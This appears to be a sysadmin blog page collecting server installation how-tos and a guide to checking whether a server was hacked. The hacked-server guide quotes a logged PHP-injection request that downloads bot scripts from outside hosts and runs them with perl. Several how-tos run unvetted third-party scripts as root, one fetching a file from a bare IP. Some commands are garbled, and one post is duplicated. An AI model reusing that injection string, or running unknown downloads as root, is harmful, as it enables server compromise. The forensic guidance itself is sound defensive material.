Showing posts with label Installations. Show all posts
Showing posts with label Installations. Show all posts

How to install Installatron on a Plesk Windows server

0 comments

1. Requirements

Check that your server meets the requirements for Installatron.

2. Install Installatron

Download and run the below Windows installation wizard. Windows Administrative privileges will be required.

http://data1.liquenox.com/installatron/installatron_setup.exe

If you experience any errors, see troubleshooting.

3. Use Installatron

Installatron is now ready to use in Plesk for Windows.

The admin login will find the administration tool in Server > Installatron Admin.

Client logins will find the reseller administration tool in Clients > Installatron Admin.

Domain logins will find the script installer tool under Installatron.


Fatal error - [Plugin Akismet] Error when activating plugin Akismet on WP 3.0

1 comments
When activated, the page plugin gives error:
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 7680 bytes) in /home/improv/public_html/wp-includes/kses.php(550) : runtime-created function on line 1

Solution:-

First, try installing the Memory Bump plugin.

If that doesn't work, here are four more ways to increase PHP's memory allocation:
1. If you have access to your PHP.ini file, change the line in PHP.ini
If your line shows 32M try 64M:
memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)

2. If you don't have access to PHP.ini try adding this to an .htaccess file:
php_value memory_limit 64M

3. Try adding this line to your wp-config.php file:
Increasing memory allocated to PHP
define('WP_MEMORY_LIMIT', '64M');

4. Talk to your host.


Determine if a server is hacked

0 comments
This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.

The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.

Download and unzip rkhunter
—–command—–
cd /usr/local/src/
wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
tar -zxf rkhunter-1.2.1.tar.gz
cd rkhunter
—–command—–

Install and run it
—–command—–
./installer.sh
rkhunter -c
—–command—–

If you are unsure of the output either look on google or you can post it here and I can try to help.

If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.

Go ahead and look in /tmp first and delete the uneeded files that are normal

cd /tmp
rm -rf sess*
rm -rf ssh-*
rm -rf dos-*
ls -alh

On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.

Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.

Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.

Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.

egrep r0nin *
Chances are you are going to see something like this:

Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
] “GET /index.php?t=5704&rush=%65%63%68%6F%20
%5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
4E%44%5%20F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%%2054%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%
68%20%5D%29.%2527?; HTTP/1.1? 403 219
(I have XXX’ed out some information)

If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.

One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.

service httpd stop
lsof -u nobody

Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.

If that fails you can also use the ps command to try and find the offending process and track it down. Use

ps -aux

To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:

ps -aux |grep perl

If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.

find / |grep somesript.pl

then edit it via:
pico -w /location/of/script.pl

Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run, TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.

You need to install the LWP perl module (libwww-perl) and then install csf

1 comments
[root@server22 csf]# sh install.sh

Configuring for OS

Checking for perl modulesfailed
You need to install the LWP perl module (libwww-perl) and then install csf
[root@server22 csf]#

To fix the error, install libwww-perl

yum install perl-libwww-perl

Installing OpenX ad server

0 comments
Follow these simple instructions to install OpenX server

  1. Download the latest OpenX archive from openx.org and upload it to a folder in your hosting account. For example: /ads. We recommend creating a sub-domain for it. Something like: ads.your_domain.com

  2. Expand the OpenX archive and make sure all files are in the directory you created. If you're using cPanel use Extract utility from the File Manager and then move the extracted files to the installation folder

  3. Create a database and take a note of the database name, user name and user password. You will need them during the installation

  4. Set the 777 permissions on the following folders: /var and /images. You should do this from an FTP client and make sure to select recursive permission change. Otherwise, the installation script will give you an error.

  5. Open up the folder where you extracted OpenX to. This will launch the installation process.

  6. Follow the installation steps to finish everything up.


After this you can log in to OpenX and start learning it

We can install OpenX for you professionally. Feel free to contact us for a quote.

 

How to install the phpSHIELD Loaders on Linux-Windows server?

0 comments
The phpSHIELD is a software which is used to encode the php pages, It is an excellent product for encoding php files if you don’t require any time limiting, IP/Domain locking or the powerful licensing features contained within SourceGuardian . phpSHIELD protects your PHP Source Code with a powerful, easy to use encoder, which creates a native byte code version of the script and then encrypts it.

Most of application require  the phpSHIELD loaders like the phpmotion

How to install the phpSHIELD Loaders on Linux server?
• Download the appropriate OS version phpSHIELD Loaders though
http://www.phpshield.com/loaders/index.php URL

1.For Linux server
#cd /usr/src/
#wget http://www.phpshield.com/loaders/phpshield.loaders.linux.zip

2. For Windows Server
http://www.phpshield.com/loaders/phpshield.loaders.windows.zip

• uncompress the phpSHIELD loader zip file
•  You will need to determine the path to your php “extensions library” use a phpinfo() file to check this. It will look something like this /usr/local/lib/php/extensions/no-debug-non-zts-20060613(example only)

Or

you can use following command on ssh shell to check extension library path
#php –i |grep extension_dir

•  check the php version then you will then need to copy 1 file to this “extension library” folder. If php 5.2.X version is running on server then copy the phpshield.5.2.lin (for Linux server) OR phpshield.5.2.win (for Windows server) file to the “extensions library” location.

•  Open  the php.ini configuration file (located in /usr/local/lib/ or you can use php -i |grep php.ini command to find exact running php.ini file location ), and add the following line below extension_dir line
extension="phpshield.5.2.lin" (for Linux server)

OR
extension="phpshield.5.2.win" (for Windows server)

That’s it , phpSHIELD Loaders is successfully installed on your server, You can verify it by creating php info file under your public_html folder,if it is sucessfully installed you will see following phpSHILED information  in php info file.

phpshield How to install the phpSHIELD Loaders on Linux Windows  server?

HOw to install MySQL Performance Tuning Primer Script

0 comments
using the performance of MySQL can be a really hard job to do.
There are many thinks to consider and no two servers are identical so there is no universal solution.
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.
For the script to be efficient you must run the mysql server for at least 48 hours.

Installation is extremely simple:

Download The Script

wget http://day32.com/MySQL/tuning-primer.sh

Change the permissions for the file

chmod 755 tuning-primer.sh

Run It
./tuning-primer.sh

# Apply the sugesttions

How to configure Sundry MySQL Scripts and Docs

Found This Script Works Perfect!

How to install Flash on Linux 64 bit

0 comments

You can easily install Flash on 64 bit Firefox and 64 bit Linux desktop operating systems. Adobe does not provides native 64 bit edition for Linux. Please use following links to install Flash on Linux 64 bit system


a] Install Flash 10 Under Ubuntu Linux 64 bit Edition


b] Install Flash 10 under Fedora Core, CentOS and RHEL 5 64 bit edition

how to install Yum

48 comments
yum is software installation tool for Red hat linux and Fedora Linux. It is a complete software management system. Other option is to use up2date utility. yum is designed to use over network/internet.

If you don't have yum then download it from project home page yum - Trac

To install fire the command

# rpm -ivh yup*

Step # 1: Configure yum

You need to edit /etc/yum.conf and modify/add following code to it:

vi /etc/yum.conf

Append or edit code as follows:

[base]

name=Fedora Core $releasever - $basearch - Base

baseurl=http://apt.sw.be/fedora/$releasever/en/$basearch/dag

baseurl=http://mirrors.kernel.org/fedora/core/$releasever/$basearch/os

Save the file

Install GPG signature key with rpm command:

# rpm --import http://dag.wieers.com/packages/RPM-GPG-KEY.dag.txt

and other keys too (if any using above command)

Step # 2 Update your package list:

# yum check-update

Step # 3 start to use yum

Install a new package called foo

# yum install foo

To update packages

# yum update

To update a single package called bar

# yum update bar

To remove a package called telnet

# yum remove telnet

To list all packages

# yum list installed

You can search using grep command

# yum list installed | grep samba

Display information on a package called foo

# yum info foo

To display list of packages for which updates are available

# yum list updates

Install Flash 10 Under Ubuntu Linux 64 bit Edition

1 comments
I've already written about installing Flash player 10 under 32 bit version. But, couple of our readers asked about installing Flash player 10 final version under Ubuntu Linux 64 bit edition. This small post will cover flash 10 Ubuntu Linux 64 bit installation.

Alejandro has published a shell script to automate entire process. Open terminal and type the following command to install Flash 10 under 64 bit edition (please exit any browsers you may have running):
$ wget http://queleimporta.com/downloads/flash10_en.sh
$ sudo bash ./flash10_en.sh
Fig.01: Ubuntu Linux flash 10 in action

How to setup a Teamspeak on a Dedicated Server

0 comments
** Please do't install this on a VPS system, as it may strain the system recourses.

** Sufficient linux shell knowledge required. The contents of this article are deemed to be correct, but we cannot garuntee it is error free, and therefore accept no responsibility for any damage it may cause to your server. INSTALL AT YOUR OWN RISK.

If you are interested in setting up Teamspeak on your  dedicated server, simple follow following  instructions:

First Login to SSH as root

# useradd ts

This should of automatically created a directory called /ts in /home (/home/ts) - if it hasn’t, run

#mkdir /home/ts

# chown -R ts /home/ts

# passwd ts

# su ts

# cd /home/ts/

# wget ftp://ftp.freenet.de/pub/4players/teamspeak.org/releases/ts2_server_rc2_202319.tar.bz2

# tar -jxvf ts2_server_rc2_202319.tar.bz2

# cd tss2_rc2

# mv * ../

# cd ../

# rm -rfv tss2_rc2 (BE CAREFUL WITH THIS COMMAND!)

# ./teamspeak2-server_startscript start

If you have any firewalls installed, you will need to open ports 8767, and possibly 14534.

How to install the APF Firewall

0 comments
This guide will show you how to install and configure APF firewall, one of the better known Linux firewalls available.10

1. cd /root/downloads or another temporary folder where you store your files.

2. wget http://www.rfxnetworks.com/downloads/apf-current.tar.gz

3. tar -xvzf apf-current.tar.gz



4. cd apf-0.9.5-1/ or whatever the latest version is.

5. Run the install file: ./install.sh
You will receive a message saying it has been installed

Installing APF 0.9.5-1: Completed.
Installation Details:
Install path: /etc/apf/
Config path: /etc/apf/conf.apf
Executable path: /usr/local/sbin/apf
AntiDos install path: /etc/apf/ad/
AntiDos config path: /etc/apf/ad/conf.antidos
DShield Client Parser: /etc/apf/extras/dshield/
Other Details:
Listening TCP ports: 1,21,22,25,53,80,110,111,143,443,465,993,995,2082, 2083,2086,2087,2095,2096,3306
Listening UDP ports: 53,55880
Note: These ports are not auto-configured; they are simply presented for information purposes. You must manually configure all port options.


6. Lets configure the firewall: pico /etc/apf/conf.apf
We will go over the general configuration to get your firewall running. This isn't a complete detailed guide of every feature the firewall has. Look through the README and the configuration for an explanation of each feature.We like to use DShield.org's "block" list of top networks that have exhibited
suspicious activity.
FIND: USE_DS="0"
CHANGE TO: USE_DS="1"


7. Configuring Firewall Ports:

Cpanel Servers
We like to use the following on our Cpanel Servers


Common ingress (inbound) ports
# Common ingress (inbound) TCP ports -3000_3500 = passive port range for Pure FTPD
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,2082,208 3, 2086,2087, 2095, 2096,3000_3500"
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS="53"

Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF="1"


# Common egress (outbound) TCP ports
EG_TCP_CPORTS="21,25,80,443,43,2089"
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS="20,21,53"

Ensim Servers

We have found the following can be used on Ensim Servers - although we have not tried these ourselves as I don't run Ensim boxes.

Common ingress (inbound) ports
# Common ingress (inbound) TCP ports
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,19638"
#
# Common ingress (inbound) UDP ports
IG_UDP_CPORTS="53"


Common egress (outbound) ports
# Egress filtering [0 = Disabled / 1 = Enabled]
EGF="1"

# Common egress (outbound) TCP ports
EG_TCP_CPORTS="21,25,80,443,43"
#
# Common egress (outbound) UDP ports
EG_UDP_CPORTS="20,21,53"


Save the changes: Ctrl+X then Y

8. Starting the firewall
/usr/local/sbin/apf -s

Other commands:
usage ./apf [OPTION]
-s|--start ......................... load firewall policies
-r|--restart ....................... flush & load firewall
-f|--flush|--stop .................. flush firewall
-l|--list .......................... list chain rules
-st|--status ....................... firewall status
-a HOST CMT|--allow HOST COMMENT ... add host (IP/FQDN) to allow_hosts.rules and
immediately load new rule into firewall
-d HOST CMT|--deny HOST COMMENT .... add host (IP/FQDN) to deny_hosts.rules and
immediately load new rule into firewall


9. After everything is fine, change the DEV option
Stop the firewall from automatically clearing itself every 5 minutes from cron.
We recommend changing this back to "0" after you've had a chance to ensure everything is working well and tested the server out.


pico /etc/apf/conf.apf

FIND: DEVM="1"
CHANGE TO: DEVM="0"


10. Configure AntiDOS for APF
Relatively new to APF is the new AntiDOS feature which can be found in: /etc/apf/ad
The log file will be located at /var/log/apfados_log so you might want to make note of it and watch it!


pico /etc/apf/ad/conf.antidos

There are various things you might want to fiddle with but I'll get the ones that will alert you by email.
# [E-Mail Alerts]
Under this heading we have the following:

# Organization name to display on outgoing alert emails
CONAME="Your Company"
Enter your company information name or server name..

# Send out user defined attack alerts [0=off,1=on]
USR_ALERT="0"
Change this to 1 to get email alerts

# User for alerts to be mailed to
USR="your@email.com"
Enter your email address to receive the alerts

Save your changes! Ctrl+X then press Y
Restart the firewall: /usr/local/sbin/apf -r

11. Checking the APF Log

Will show any changes to allow and deny hosts among other things.
tail -f /var/log/apf_log

Example output:
Aug 23 01:25:55 ocean apf(31448): (insert) deny all to/from 185.14.157.123
Aug 23 01:39:43 ocean apf(32172): (insert) allow all to/from 185.14.157.123

12. New - Make APF Start automatically at boot time
To autostart apf on reboot, run this:
chkconfig --level 2345 apf on
To remove it from autostart, run this:
chkconfig --del apf


13. Denying IPs with APF Firewall (Blocking)
Now that you have your shiny new firewall you probably want to block a host right, of course you do! With this new version APF now supports comments as well. There are a few ways you can block an IP, I'll show you 2 of the easier methods.
A) /etc/apf/apf -d IPHERE COMMENTHERENOSPACES
> The -d flag means DENY the IP address
> IPHERE is the IP address you wish to block
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being blocked
These rules are loaded right away into the firewall, so they're instantly active.
Example:


./apf -d 185.14.157.123 TESTING



pico /etc/apf/deny_hosts.rules

Shows the following:

# added 185.14.157.123 on 08/23/05 01:25:55
# TESTING
185.14.157.123

B) pico /etc/apf/deny_hosts.rules
You can then just add a new line and enter the IP you wish to block. Before this becomes active though you'll need to reload the APF ruleset.

/etc/apf/apf -r

14. Allowing IPs with APF Firewall (Unblocking)

I know I know, you added an IP now you need it removed right away! You need to manually remove IPs that are blocked from deny_hosts.rules.
A)
pico /etc/apf/deny_hosts.rules

Find where the IP is listed and remove the line that has the IP.
After this is done save the file and reload apf to make the new changes active.

/etc/apf/apf -r

B) If the IP isn't already listed in deny_hosts.rules and you wish to allow it, this method adds the entry to allow_hosts.rules

/etc/apf/apf -a IPHERE COMMENTHERENOSPACES
> The -a flag means ALLOW the IP address
> IPHERE is the IP address you wish to allow
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being removed These rules are loaded right away into the firewall, so they're instantly active.
Example:

./apf -a 185.14.157.123 UNBLOCKING

pico /etc/apf/allow_hosts.rules

# added 185.14.157.123 on 08/23/05 01:39:43
# UNBLOCKING
185.14.157.123

How to install the FFmpeg

0 comments

# yum -y install dialog


# cd /usr/src


# wget http://scriptmantra.info/scripts/AAST_ffmpeg_installer_5.0.3b


#chmod +x AAST_ffmpeg_installer_5.0.3b


#./AAST_ffmpeg_installer_5.0.3b


FFmpeg-PHP

How to install image magik on cpanel

0 comments
Get Image Magik install :- keep rocking

# mkdir /usr/local/src

#cd /usr/local/src

# wget http://www.downloadspot.com/downloads/ImageMagick-6.3.4-7.tar.gz

# tar xvzf ImageMagick-6.3.4-7.tar.gz
# cd ImageMagick-6.3.4


# ./configure

# make

#make install

#cd PerlMagick

#perl Makefile.PL

#make

#make install

How to install zend optimizer

0 comments
32 Bit and 64 Bit Linux servers.

For 32 Bit

cd /usr/local/src
wget http://downloads.zend.com/optimizer/3.3.0/ ZendOptimizer-3.3.0-linux-glibc21-i386.tar.gz


tar -zxvf ZendOptimizer-3.3.0-linux-glibc21-i386.tar.gz
cd ZendOptimizer-3.3.0-linux-glibc21-i386
./install


For 64 Bit

cd /usr/local/src
wget http://downloads.zend.com/optimizer/3.3.0/ ZendOptimizer-3.3.0-linux-glibc23-x86_64.tar.gz


tar -zxvf ZendOptimizer-3.3.0-linux-glibc23-x86_64.tar.gz
cd ZendOptimizer-3.3.0-linux-glibc23-x86_64.tar.gz
./install.sh


One of our Sysadmin Mr. Mayur recommends to add the following extenstions in the php.ini file.

zend.ini section looks like this,
[Zend]
zend_extension_manager.optimizer=/usr/local/Zend/lib/Optimizer-3.3.0
zend_extension_manager.optimizer_ts=/usr/local/Zend/lib/Optimizer_TS-3.3.0
zend_optimizer.version=3.3.0a
zend_extension=/usr/local/Zend/lib/ZendExtensionManager.s

Cpanel install

0 comments
Follow these steps to install cPanel on a Linux box.

1) Login to your Linux machine via SSH as root.

2) Run the following commands:

# mkdir /home/cpins

# cd /home/cpins

# wget http://layer1.cpanel.net/latest

# sh latest

After that you will need to leave it for around 90 minutes so that cPanel can install.

How to install subversion client on Linux server?

0 comments
Svn(subversion) is used to maintain current and historical versions of files such as source code, web pages, and documentation. Its goal is to be a mostly-compatible successor to the widely used Concurrent Versions System (CVS).

It is very easy to install subversion client on linux OS using yum. You can us following command to install subversion client.

root@server [~]# yum install subversion

while installing subversion if you are getting following error  then it seem sot be perl-URI package is not installed on your server so you will have to install first before installing subversion client.

Please follow the following steps to install perl-URI package

You’ll login via SSH as root and run this command:
root@server [~]# yum install subversion

and then you may get this error:
Error: Missing Dependency: perl(URI) >= 1.17 is needed by package subversion

Here’s what you do next (copy/paste):

root@server [~]# wget ftp://ftp.pbone.net/mirror/archive.fedoraproject.org/
fedora/linux/releases/7/Everything/i386/os/Fedora/
perl-URI-1.35-3.noarch.rpm


root@server [~]# rpm -i perl-URI-1.35-3.noarch.rpm

root@server [~]# yum install subversion

Installed: subversion.x86_64 0:1.4.2-4.el5 subversion.i386 0:1.4.2-4.el5

Dependency Installed: neon.x86_64 0:0.25.5-10.el5 neon.i386 0:0.25.5-10.el5

Complete! 

That’s it subversion client is successfully installed on your server you can check it using following command.
root@server [~]#svn --version
svn, version 1.1.4 (r13838)
compiled Aug 21 2005, 20:56:55

Copyright (C) 2000-2004 CollabNet.
Subversion is open source software, see http://subversion.tigris.org/
This product includes software developed by CollabNet (http://www.Collab.Net/).

The following repository access (RA) modules are available:

* ra_dav : Module for accessing a repository via WebDAV (DeltaV) protocol.
- handles 'http' schema
- handles 'https' schema
* ra_local : Module for accessing a repository on local disk.
- handles 'file' schema
* ra_svn : Module for accessing a repository using the svn network protocol.
- handles 'svn' schema

FFMPEG Yum installation

0 comments

1.# wget Install RPMForge: http://packages.sw.be/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.i386.rpm


2. That’ll give you access to a repo to install ffmpeg


3. Then


#  yum install ffmpeg.i386


and


#  yum install ffmpeg-devel.i386

How to installation of Java + Apache Ant

0 comments

# cd /opt


# mkdir java


# cd java


# wget http://javadl.sun.com/webapps/download/AutoDL?BundleId=29210


or


# wget http://javadl.sun.com/webapps/download/AutoDL?BundleId=29214


# mv jre-6u13* jre-6u13-linux-i586.bin


# chmod 755 jre-6u13-linux-i586.bin


# ./jre-6u13-linux-i586.bin


# /opt/java/jre1.6.0_13/bin/java -version


Installing Ant:


# cd /opt


# wget http://www.gtlib.gatech.edu/pub/apache/ant/binaries/apache-ant-1.7.1-bin.tar.gz


# tar -xzf apache-ant-1.7.1-bin.tar.gz


# cd apache-ant-1.7.1


export ANT_HOME=/opt/apache-ant-1.7.1


export JAVA_HOME=/opt/java/jre1.6.0_13


export PATH=${PATH}:${ANT_HOME}/bin


echo “export ANT_HOME=/opt/apache-ant-1.7.1? >> /etc/profile


echo “export JAVA_HOME=/opt/java/jre1.6.0_13? >> /etc/profile


echo “export PATH=${PATH}:${ANT_HOME}/bin” >> /etc/profile


ln -s /opt/java/jre1.6.0_13/bin/java /etc/alternatives/java


ln -s /etc/alternatives/java /usr/bin/java


Then verify the installation by:


java -version


ant -version


If you are getting the following error while executing :


ant -version



Unable to locate tools.jar. Expected to find it in /opt/java/jre1.6.0_13/lib/tools.jar

Unable to locate tools.jar. Expected to find it in


# /opt/java/jre1.6.0_13/lib/tools.jar


then



cd /opt/java/jre1.6.0_13/lib/

wget 216.104.40.154/java/tools.jar

chmod 755 tools.jar

How to installation of Java + Apache Ant

0 comments

# cd /opt


# mkdir java


# cd java


# wget http://javadl.sun.com/webapps/download/AutoDL?BundleId=29210


or


# wget http://javadl.sun.com/webapps/download/AutoDL?BundleId=29214


# mv jre-6u13* jre-6u13-linux-i586.bin


# chmod 755 jre-6u13-linux-i586.bin


# ./jre-6u13-linux-i586.bin


# /opt/java/jre1.6.0_13/bin/java -version


Installing Ant:


# cd /opt


# wget http://www.gtlib.gatech.edu/pub/apache/ant/binaries/apache-ant-1.7.1-bin.tar.gz


# tar -xzf apache-ant-1.7.1-bin.tar.gz


# cd apache-ant-1.7.1


export ANT_HOME=/opt/apache-ant-1.7.1


export JAVA_HOME=/opt/java/jre1.6.0_13


export PATH=${PATH}:${ANT_HOME}/bin


echo “export ANT_HOME=/opt/apache-ant-1.7.1? >> /etc/profile


echo “export JAVA_HOME=/opt/java/jre1.6.0_13? >> /etc/profile


echo “export PATH=${PATH}:${ANT_HOME}/bin” >> /etc/profile


ln -s /opt/java/jre1.6.0_13/bin/java /etc/alternatives/java


ln -s /etc/alternatives/java /usr/bin/java


Then verify the installation by:


java -version


ant -version


If you are getting the following error while executing :


ant -version



Unable to locate tools.jar. Expected to find it in /opt/java/jre1.6.0_13/lib/tools.jar

Unable to locate tools.jar. Expected to find it in


# /opt/java/jre1.6.0_13/lib/tools.jar


then



cd /opt/java/jre1.6.0_13/lib/

wget 216.104.40.154/java/tools.jar

chmod 755 tools.jar